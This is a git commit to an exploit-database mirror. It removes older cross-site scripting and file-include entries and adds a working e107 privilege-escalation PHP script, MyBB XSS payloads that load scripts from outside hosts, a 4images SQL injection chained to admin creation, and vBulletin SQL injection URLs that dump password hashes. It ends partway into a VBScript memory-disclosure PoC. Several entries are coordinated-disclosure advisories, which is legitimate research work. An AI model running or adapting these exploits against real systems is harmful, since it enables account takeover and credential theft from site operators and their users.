DB: 2016-11-10
10 new exploits Too many to list!
This commit is contained in:
parent
490539b3f3
commit
5d83ac5392
20 changed files with 22945 additions and 21622 deletions
|
@ -1,7 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/14754/info
|
|
||||||
|
|
||||||
MyBulletinBoard is prone to a cross-site scripting vulnerability. This is due to a lack of proper sanitization of user-supplied input to the application.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting administrative user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
|
|
||||||
|
|
||||||
http://www.example.com/forumdisplay.php?fid=2&datecut=<http://www.forum.com/forumdisplay.php?fid=2&datecut=>""><script>window.location="http://www.example.com/steal.php?cookie="+document.cookie</script>
|
|
|
@ -1,7 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/18297/info
|
|
||||||
|
|
||||||
MyBulletinBoard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
|
||||||
|
|
||||||
http://www.example.com/mybb/private.php?to=asda&subject=asd%3E&font=-&size=-&color=-&mode=advanced&message=sd&options%5Bsavecopy%5D=yes&options%5Breadreceipt%5D=yes&action=do_send&pmid=&do=D3vil-0x1%22%3E%3Cscript%3Ealert(1);%3C/script%3E&preview=Preview
|
|
|
@ -1,7 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/19193/info
|
|
||||||
|
|
||||||
MyBulletinBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
|
||||||
|
|
||||||
http://www.example.com/usercp.php?action=avatar&gallery=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
|
|
|
@ -1,9 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/19770/info
|
|
||||||
|
|
||||||
MyBulletinBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
|
||||||
|
|
||||||
Versions prior to 1.1.8 are reported vulnerable.
|
|
||||||
|
|
||||||
http://www.example.com/function_post.php?[url]java& 115;cript://%0a%0dalert(1);[/url]
|
|
|
@ -1,7 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/20039/info
|
|
||||||
|
|
||||||
MyBulletinBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
|
||||||
|
|
||||||
http://www.example.com/archive/index.php/forum-4.html?GLOBALS[]=1&navbits[][name]=33&navbits[][name]=<script>alert(document.cookie);</script>
|
|
|
@ -1,10 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/20079/info
|
|
||||||
|
|
||||||
MyBulletinBoard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
|
||||||
|
|
||||||
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
|
|
||||||
|
|
||||||
Version 1.2 is vulnerable to this issue; other versions may also be affected.
|
|
||||||
|
|
||||||
http://www,example.com/inc/generic_error.php?message=[xss]
|
|
||||||
http://www.example.com/inc/generic_error.php?message=1&code=[xss]
|
|
|
@ -1,9 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/20676/info
|
|
||||||
|
|
||||||
RMSOFT Gallery System is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
|
||||||
|
|
||||||
RMSOFT Gallery System version 2.0 is vulnerable; earlier versions may also be affected.
|
|
||||||
|
|
||||||
http://www.example.com/modules/rmgs/images.php?kw=<script>alert(document.cookie)</script>&q=search
|
|
|
@ -1,9 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/24741/info
|
|
||||||
|
|
||||||
LightBlog is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
|
||||||
|
|
||||||
Versions prior to LightBlog 6 are vulnerable.
|
|
||||||
|
|
||||||
http://www.example.com/app_path/add_comment.php?id=[XSS]
|
|
|
@ -1,9 +0,0 @@
|
||||||
source: http://www.securityfocus.com/bid/27688/info
|
|
||||||
|
|
||||||
PowerScripts PowerNews is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
|
|
||||||
|
|
||||||
Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.
|
|
||||||
|
|
||||||
PowerNews 2.5.6 is vulnerable; other versions may also be affected.
|
|
||||||
|
|
||||||
http://example.com/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00
|
|
65
platforms/php/webapps/40746.php
Executable file
65
platforms/php/webapps/40746.php
Executable file
|
@ -0,0 +1,65 @@
|
||||||
|
# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
|
||||||
|
# Date: 09-11-2016
|
||||||
|
# Software Link: http://e107.org/
|
||||||
|
# Exploit Author: Kacper Szurek
|
||||||
|
# Contact: http://twitter.com/KacperSzurek
|
||||||
|
# Website: http://security.szurek.pl/
|
||||||
|
# Category: webapps
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.
|
||||||
|
|
||||||
|
http://security.szurek.pl/e107-cms-211-privilege-escalation.html
|
||||||
|
|
||||||
|
2. Proof of Concept
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
/**
|
||||||
|
* e107 CMS 2.1.2 Privilege Escalation
|
||||||
|
* Kacper Szurek
|
||||||
|
* http://security.szurek.pl
|
||||||
|
*/
|
||||||
|
function hack($url, $login, $pass, $cookie){
|
||||||
|
|
||||||
|
$ckfile = dirname(__FILE__) . $cookie;
|
||||||
|
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
|
||||||
|
|
||||||
|
$ch = curl_init();
|
||||||
|
curl_setopt($ch, CURLOPT_URL, $url);
|
||||||
|
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
|
||||||
|
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
|
||||||
|
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
|
||||||
|
curl_setopt($ch, CURLOPT_POST, 1);
|
||||||
|
$content = curl_exec($ch);
|
||||||
|
if (strpos($content, '?logout') === false) {
|
||||||
|
die("Cannot login");
|
||||||
|
}
|
||||||
|
|
||||||
|
$data = array();
|
||||||
|
$data['user_admin'] = 1;
|
||||||
|
$data['user_perms'] = 0;
|
||||||
|
$data['user_password'] = md5($pass);
|
||||||
|
|
||||||
|
curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
|
||||||
|
$content = curl_exec($ch);
|
||||||
|
|
||||||
|
if (strpos($content, 'Settings updated') === false) {
|
||||||
|
die("Exploit probably failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
die('OK!');
|
||||||
|
}
|
||||||
|
|
||||||
|
$url = "http://url_here";
|
||||||
|
|
||||||
|
// Standard user credentials
|
||||||
|
$user = "login_here";
|
||||||
|
$pass = "password_here";
|
||||||
|
|
||||||
|
$cookie = "/cookie.txt";
|
||||||
|
hack($url, $user, $pass, $cookie);
|
227
platforms/php/webapps/40749.txt
Executable file
227
platforms/php/webapps/40749.txt
Executable file
|
@ -0,0 +1,227 @@
|
||||||
|
Security Advisory - Curesec Research Team
|
||||||
|
|
||||||
|
1. Introduction
|
||||||
|
|
||||||
|
Affected Product: MyBB 1.8.6
|
||||||
|
Fixed in: 1.8.7
|
||||||
|
Fixed Version Link: http://resources.mybb.com/downloads/mybb_1807.zip
|
||||||
|
Vendor Website: http://www.mybb.com/
|
||||||
|
Vulnerability Type: XSS
|
||||||
|
Remote Exploitable: Yes
|
||||||
|
Reported to vendor: 01/29/2016
|
||||||
|
Disclosed to public: 09/15/2016
|
||||||
|
Release mode: Coordinated Release
|
||||||
|
CVE: n/a
|
||||||
|
Credits Tim Coen of Curesec GmbH
|
||||||
|
|
||||||
|
2. Overview
|
||||||
|
|
||||||
|
MyBB is forum software written in PHP. In version 1.8.6, it contains various
|
||||||
|
XSS vulnerabilities, some of which are reflected and some of which are
|
||||||
|
persistent. Some of them depend on custom forum or server settings.
|
||||||
|
|
||||||
|
These issues may lead to the injection of JavaScript keyloggers, injection of
|
||||||
|
content such as ads, or the bypassing of CSRF protection, which would for
|
||||||
|
example allow the creation of a new admin user.
|
||||||
|
|
||||||
|
3. Details
|
||||||
|
|
||||||
|
XSS 1: Persistent XSS - Signature
|
||||||
|
|
||||||
|
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: The profile editor of the moderator control panel does not
|
||||||
|
properly encode the signature of a user when editing it. Because of this, a
|
||||||
|
user can create a specifically crafted signature and - once a moderator or
|
||||||
|
admin visits the profile editor for that user - the injected code will be
|
||||||
|
executed in the context of the victims browser.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
Visit the profile at: http://localhost/mybb_1806/Upload/modcp.php?action=editprofile&uid=[USER_ID] As signature, use: </textarea><img src=no onerror=alert(1)>
|
||||||
|
|
||||||
|
XSS 2: Persistent XSS - Forum Post (depending on forum settings)
|
||||||
|
|
||||||
|
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: An admin can allow HTML input for specific forums via the setting
|
||||||
|
allowhtml. There are various filters in place which intend to make this safe,
|
||||||
|
which may leave the admin with the impression that it is indeed safe. However,
|
||||||
|
there are various possibilities to bypass these filters, mainly using HTML5
|
||||||
|
features.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
<body onpageshow=alert(1)> -> Visiting the post will trigger the code <div
|
||||||
|
contextmenu="mymenu" oncontextmenu=alert(1)>context menu</pre> -> A right-click
|
||||||
|
will trigger the code <form action=""> Enter something: <input type="text" name
|
||||||
|
="myinput" oninput="alert(1)"><br> <input type="submit" value="Submit"> </form>
|
||||||
|
-> Input into the field will trigger the code <form action=""> <input type=
|
||||||
|
"text" name="myinput" oninvalid="alert(1)" required> <input type="submit" value
|
||||||
|
="Submit"> </form> -> A click on submit will trigger the code
|
||||||
|
|
||||||
|
There are various other attributes which may also work, such as onsearch,
|
||||||
|
onkeydown, onkeyup, ondrag, onscroll, oncopy, and so on. Other attributes such
|
||||||
|
as onMouseOver or onFocus are filtered out.
|
||||||
|
|
||||||
|
XSS 3: Persistent XSS - Username (depending on forum settings)
|
||||||
|
|
||||||
|
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: The username is echoed unencoded in the user area. As the login
|
||||||
|
does not have CSRF protection and as an admin can be logged into the admin area
|
||||||
|
with a different account than the one they are logged into the forum, a
|
||||||
|
persistent XSS vulnerability in the user area can be exploited. However,
|
||||||
|
successful exploitation most likely requires a username length of at least 43
|
||||||
|
characters, which is more than the default settings allow.
|
||||||
|
|
||||||
|
Simple Proof of Concept:
|
||||||
|
|
||||||
|
1. register user with name f" onmouseover="alert(1)" b=" 2. login and visit
|
||||||
|
http://localhost/mybb_1805/Upload/usercp.php 3. hover over the avatar
|
||||||
|
|
||||||
|
The simple proof of concept can be improved to allow successful exploitation.
|
||||||
|
It is not required for the victim to hover over the avatar or interact with the
|
||||||
|
webpage in any way:
|
||||||
|
|
||||||
|
1. As username, use: f" onerror="alert(1)" b=" 2. Set an avatar, and use a URL
|
||||||
|
as source (not an image upload) 3. Delete the image from the remote host,
|
||||||
|
making it unavailable, thus triggering an error and executing the injected
|
||||||
|
code.
|
||||||
|
|
||||||
|
Possible Payloads:
|
||||||
|
|
||||||
|
Loading a script with vanilla javascript takes a lot more characters than are
|
||||||
|
allowed in a username by default:
|
||||||
|
|
||||||
|
"onerror="s=document.createElement('script');s.src='http://localhost/s.js';
|
||||||
|
document.getElementById('top').appendChild(s)"
|
||||||
|
|
||||||
|
As jQuery is loaded, this can be optimized:
|
||||||
|
|
||||||
|
"onerror="$.getScript('http://aa.bc/s.js')
|
||||||
|
|
||||||
|
Executing the payload for a victim:
|
||||||
|
|
||||||
|
The attack does not require the victim to not be logged in as normal user, as
|
||||||
|
one can login even when already logged in. The login as a normal user also does
|
||||||
|
not affect the login as admin. Thus, an attacker could use the following
|
||||||
|
payload to log a victim in and redirect them to the site containing the
|
||||||
|
payload:
|
||||||
|
|
||||||
|
<iframe id="myframe" style="display: none" name="myframe" src="about:blank"></
|
||||||
|
iframe> <form method="post" action="http://localhost/mybb_1805/Upload/
|
||||||
|
member.php" target="myframe" id="myform" name="myform"> <input name="action"
|
||||||
|
type="hidden" value="do_login" /> <input name="url" type="hidden" value="http:/
|
||||||
|
/localhost/mybb_1805/Upload/usercp.php" /> <input name="quick_login" type=
|
||||||
|
"hidden" value="1" /> <input name="quick_username" type="hidden" value=
|
||||||
|
""onerror="$.getScript('http://localhost/s.js')" /> <input name=
|
||||||
|
"quick_password" type="hidden" value="123456" /> <input name="quick_remember"
|
||||||
|
type="hidden" value="yes" /> </form> <script>document.myform.submit();</script>
|
||||||
|
|
||||||
|
It will automatically log the victim in and redirect them to the page that
|
||||||
|
triggers the script execution. No action of the victim is required. The loaded
|
||||||
|
script could for example perform a backup of the database and then send the
|
||||||
|
attacker the name of the backup, as backups are stored in a public directory.
|
||||||
|
|
||||||
|
XSS 4: Persistent XSS - Post Attachment (depending on server settings)
|
||||||
|
|
||||||
|
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: Attachments are uploaded to a public directory, and their
|
||||||
|
extension is changed to .attach. Files with extension .attach that contain HTML
|
||||||
|
code are interpreted as HTML files by some default server configurations (for
|
||||||
|
example Apache). Additionally, the directory where the files are uploaded to
|
||||||
|
does not prevent directory listing via an index.html file as all the other
|
||||||
|
directories of MyBB do. Because of this, an attacker can find the name of the
|
||||||
|
file and send it to a victim. Once the victim visits the link, the JavaScript
|
||||||
|
code in the file would execute.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
1. upload HTML file containing <html><body><script>alert(1);</script></body></
|
||||||
|
html> 2. find file located at /mybb_1805/Upload/uploads/YYYMM/
|
||||||
|
RANDOM_STRING.attach. The YYYMM directory is not protected against directory
|
||||||
|
browsing via an index.php or index.html file like most other directories of
|
||||||
|
MyBB, which means depending on the server configuration, the file can easily be
|
||||||
|
found 3. send admin there
|
||||||
|
|
||||||
|
XSS 5: Reflected XSS - Account Activation
|
||||||
|
|
||||||
|
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: The account activation form echoes a given code unencoded to the
|
||||||
|
user, resulting in reflected XSS.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
http://localhost/mybb_1806/Upload/member.php?action=activate&uid=-1&code=">
|
||||||
|
<script>alert(1)<%2fscript>
|
||||||
|
|
||||||
|
XSS 6: Reflected XSS - Update (depending on locked state)
|
||||||
|
|
||||||
|
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: In many of the update scripts, POST values are echoed without
|
||||||
|
proper encoding. The scripts are upgrade3.php, upgrade12.php, upgrade13.php,
|
||||||
|
upgrade17.php, and upgrade30.php. As this attack only works when the forum is
|
||||||
|
disabled, the forum itself cannot be attacked, but the attack could be used to
|
||||||
|
attack other software hosted on the same domain.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
<form id="myForm" action="http://localhost/mybb_1805/Upload/install/
|
||||||
|
upgrade.php" method="POST"> <input name="action" value="30_dbchanges_ip">
|
||||||
|
<input name="iptask" value="5"> <input name="iptable" value="7"> <input name=
|
||||||
|
"ipstart" value="<script>alert(1)</script>"> <input type="submit" value=
|
||||||
|
"Submit"> </form> <script> document.getElementById("myForm").submit(); </
|
||||||
|
script>
|
||||||
|
|
||||||
|
XSS 7: Reflected CSS Injection
|
||||||
|
|
||||||
|
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
|
||||||
|
|
||||||
|
Description: When displaying an error, MyBB echoes user input in a style
|
||||||
|
context, allowing an attacker to inject CSS. With this, it may be possible to
|
||||||
|
change the look of the website or extract information, and it may lead to XSS
|
||||||
|
in older browsers.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
This script submits a search, which will trigger an SQL error because of the
|
||||||
|
non-existing author. All it does then is change the background color of the
|
||||||
|
error report to black to show the existence of the injection:
|
||||||
|
|
||||||
|
<form id="myForm" action="http://localhost/mybb_1805/Upload/search.php/) ; }
|
||||||
|
%23error { background: %23000000; } /*" method="POST"> <input name="action"
|
||||||
|
value="do_search"> <input name="author" value="nonexistentauthor"> <input name=
|
||||||
|
"matchusername" value="1"> </form> <script> document.getElementById
|
||||||
|
("myForm").submit(); </script>
|
||||||
|
|
||||||
|
4. Solution
|
||||||
|
|
||||||
|
To mitigate this issue please upgrade at least to version 1.8.7:
|
||||||
|
|
||||||
|
http://resources.mybb.com/downloads/mybb_1807.zip
|
||||||
|
|
||||||
|
Please note that a newer version might already be available.
|
||||||
|
|
||||||
|
5. Report Timeline
|
||||||
|
|
||||||
|
01/29/2016 Informed Vendor about Issue
|
||||||
|
02/26/2016 Vendor requests more time
|
||||||
|
03/11/2016 Vendor releases fix
|
||||||
|
09/15/2016 Disclosed to public
|
||||||
|
|
||||||
|
|
||||||
|
Blog Reference:
|
||||||
|
https://www.curesec.com/blog/article/blog/MyBB-186-XSS-160.html
|
||||||
|
|
||||||
|
--
|
||||||
|
blog: https://www.curesec.com/blog
|
||||||
|
tweet: https://twitter.com/curesec
|
||||||
|
|
||||||
|
Curesec GmbH
|
||||||
|
Curesec Research Team
|
||||||
|
Josef-Orlopp-Straße 54
|
||||||
|
10365 Berlin, Germany
|
79
platforms/php/webapps/40750.txt
Executable file
79
platforms/php/webapps/40750.txt
Executable file
|
@ -0,0 +1,79 @@
|
||||||
|
# vulnerable app : 4images <= 1.7.13
|
||||||
|
# Vendor : www.4homepages.de
|
||||||
|
# Author : Ahmed sultan (0x4148)
|
||||||
|
# Email : 0x4148@gmail.com
|
||||||
|
# Home : 0x4148.com
|
||||||
|
|
||||||
|
4images is a powerful web-based image gallery management system. Features
|
||||||
|
include comment system,
|
||||||
|
user registration and management, password protected administration area
|
||||||
|
with browser-based upload and HTML templates for page layout and design.
|
||||||
|
The app is vulnerable to Sql injection flaw which can be escalated to new
|
||||||
|
administrator add exploit
|
||||||
|
Vulnerable code
|
||||||
|
File : admin/validateimages.php
|
||||||
|
Line 406
|
||||||
|
$sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name,
|
||||||
|
i.image_date, i.image_media_file".get_user_table_field(", u.",
|
||||||
|
"user_name")."
|
||||||
|
FROM ".IMAGES_TEMP_TABLE." i
|
||||||
|
LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.",
|
||||||
|
"user_id")." = i.user_id)
|
||||||
|
WHERE $condition
|
||||||
|
ORDER BY $orderby $direction
|
||||||
|
LIMIT $limitstart, $limitnumber";
|
||||||
|
$result = $site_db->query($sql);
|
||||||
|
Input parameter orderby is not sanitized before being passed to the sql
|
||||||
|
query which lead to sql injection flaw
|
||||||
|
POC
|
||||||
|
GET
|
||||||
|
/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10
|
||||||
|
HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101
|
||||||
|
Firefox/17.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Cookie: 4images_lastvisit=1478064418; 4images_userid=1;
|
||||||
|
sessionid=ru4g0mqdpd3cj6pub1d0a5kmf4
|
||||||
|
|
||||||
|
Will result in
|
||||||
|
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>:
|
||||||
|
SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date,
|
||||||
|
i.image_media_file, u.user_name
|
||||||
|
FROM 4images_images_temp i
|
||||||
|
LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
|
||||||
|
WHERE 1=1
|
||||||
|
ORDER BY extractvalue(1,concat(0x7e,version())) ASC
|
||||||
|
LIMIT 0, 10<br /><b>XPATH syntax error: '~5.5.25a'
|
||||||
|
|
||||||
|
To reproduce, add normal user account, add a category and allow users to upload images in it.
|
||||||
|
Login with the normal user account and upload an image.
|
||||||
|
Try the poc
|
||||||
|
|
||||||
|
Exploitation :
|
||||||
|
By the help of JS the sql injection flaw can be used to obtain the current
|
||||||
|
csrf token and use it to add new administrator within the admin browser
|
||||||
|
session
|
||||||
|
Full exploit poc
|
||||||
|
admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)
|
||||||
|
|
||||||
|
Ly9sb2NhbGhvc3QveC5qcw== is the base64 encoded Javascript url which will be
|
||||||
|
executed inside administrator's browser
|
||||||
|
|
||||||
|
Impact
|
||||||
|
Attacker can inject JS code which result in bypassing the CSRF token ,
|
||||||
|
adding new administrator's account
|
||||||
|
or even updating allowed extensions and uploading php shell on the
|
||||||
|
vulnerable host
|
||||||
|
|
||||||
|
Reference(s):
|
||||||
|
https://0x4148.com/2016/11/02/4images-1-7-13-sql-injection-administrator-add-exploit/
|
||||||
|
|
||||||
|
Disclosure timeline
|
||||||
|
1/11 - Vulnerability was reported
|
||||||
|
2/11 - Vendor sent fixation to review
|
||||||
|
3/11 - Fixed evrsion was retested by me and approved
|
||||||
|
3/11 - Vendor scheduled official update release
|
||||||
|
10/11 - Public disclosure
|
55
platforms/php/webapps/40751.txt
Executable file
55
platforms/php/webapps/40751.txt
Executable file
|
@ -0,0 +1,55 @@
|
||||||
|
##################################################################################################
|
||||||
|
#Exploit Title : vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)
|
||||||
|
#Author : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
|
||||||
|
#Date : 25/08/2015
|
||||||
|
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
|
||||||
|
#Tested At : Indishell Lab(originally developed by Dantalion)
|
||||||
|
##################################################################################################
|
||||||
|
|
||||||
|
////////////////////////
|
||||||
|
/// Overview:
|
||||||
|
////////////////////////
|
||||||
|
|
||||||
|
VBulletin version 3.6.0 through 4.2.3 are vulnerable to SQL injection vulnerability in vBulletin core forumrunner addon.
|
||||||
|
Vulnerability was analized and documented by Dantalion (https://enumerated.wordpress.com/2016/07/11/1/)
|
||||||
|
so credit goes to Dantalion only :)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
////////////////
|
||||||
|
/// POC ////
|
||||||
|
///////////////
|
||||||
|
|
||||||
|
SQL Injection payload to enumerate table names
|
||||||
|
----------------------------------------------
|
||||||
|
http://forum_directory/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x),5,6,7,8,9,10-- -
|
||||||
|
|
||||||
|
|
||||||
|
SQL Injection payload to enumerate column names from table "user"
|
||||||
|
----------------------------------------------------------------
|
||||||
|
http://forum_directory/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.columns)where (table_name=0x75736572) and (0x00) in (@x:=concat(@x,0x3c62723e,column_name))))x),5,6,7,8,9,10-- -
|
||||||
|
|
||||||
|
|
||||||
|
SQL Injection payload to enumerate username,password hash and salt from "user" table
|
||||||
|
----------------------------------------------------------------------------------
|
||||||
|
http://forum_directory//forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10-- -
|
||||||
|
|
||||||
|
/////////////////
|
||||||
|
exploit code ends here
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
--==[[ Greetz To ]]==--
|
||||||
|
############################################################################################
|
||||||
|
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
|
||||||
|
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
|
||||||
|
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
|
||||||
|
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
|
||||||
|
#############################################################################################
|
||||||
|
--==[[Love to]]==--
|
||||||
|
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
|
||||||
|
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
|
||||||
|
--==[[ Special Fuck goes to ]]==--
|
||||||
|
<3 suriya Cyber Tyson <3
|
90
platforms/windows/dos/40743.html
Executable file
90
platforms/windows/dos/40743.html
Executable file
|
@ -0,0 +1,90 @@
|
||||||
|
<!--
|
||||||
|
Source: http://blog.skylined.nl/20161108001.html
|
||||||
|
|
||||||
|
Synopsis
|
||||||
|
|
||||||
|
A specially crafted script can cause the VBScript engine to read data beyond a memory block for use as a regular expression. An attacker that is able to run such a script in any application that embeds the VBScript engine may be able to disclose information stored after this memory block. This includes all versions of Microsoft Internet Explorer.
|
||||||
|
|
||||||
|
Known affected versions, attack vectors and mitigations
|
||||||
|
|
||||||
|
vbscript.dll
|
||||||
|
|
||||||
|
The issue is known to have affected versions 5.8.7600.16385 - 5.8.9600.16384, and both the 32- and 64-bit vbscript.dll binaries. It may also impact earlier versions as well as later versions as I am not sure exactly when the issue was addressed by Microsoft.
|
||||||
|
|
||||||
|
Windows Script Host
|
||||||
|
|
||||||
|
VBScript can be executed in the command line using cscript.exe/wscript.exe. An attacker would need to find a script running on a target machine that accepts an attacker supplied regular expression and a string, or be able to execute his/her own script. However, since the later should already provide an attacker with arbitrary code execution, no additional privileges are gained by exploiting this vuln.
|
||||||
|
|
||||||
|
Microsoft Internet Explorer
|
||||||
|
|
||||||
|
VBScript can be executed from a web-page; MSIE 8, 9, 10 and 11 were tested and are all affected. MSIE 11 requires a META tag to force it to render the page as an earlier version, as MSIE 11 attempts to deprecate VBScript (but fails, so why bother?). An attacker would need to get a target user to open a specially crafted web-page. Disabling scripting, particularly VBScript, should prevent an attacker from triggering the vulnerable code path. Enabling Enhanced Protected Mode appears to disable VBScript on my systems, but I have been unable to find documentation on-line that confirms this is by design.
|
||||||
|
|
||||||
|
Internet Information Server (IIS)
|
||||||
|
|
||||||
|
If Active Server Pages (ASP) are enabled, VBScript can be executed in Active Server Pages. An attacker would need to find an asp page that accepts an attacker supplied regular expression and a string, or be able to inject VBScript into an ASP page in order to trigger the vulnerability.
|
||||||
|
-->
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="x-ua-compatible" content="IE=10">
|
||||||
|
<script language="VBScript">
|
||||||
|
Dim oRegExp
|
||||||
|
Set oRegExp = New RegExp
|
||||||
|
Sub RegExpSetPattern(sPattern)
|
||||||
|
oRegExp.Pattern = sPattern
|
||||||
|
End Sub
|
||||||
|
Function RegExpExecute(sData)
|
||||||
|
RegExpExecute = oRegExp.Execute(sData)
|
||||||
|
End Function
|
||||||
|
</script>
|
||||||
|
<script language="Javascript">
|
||||||
|
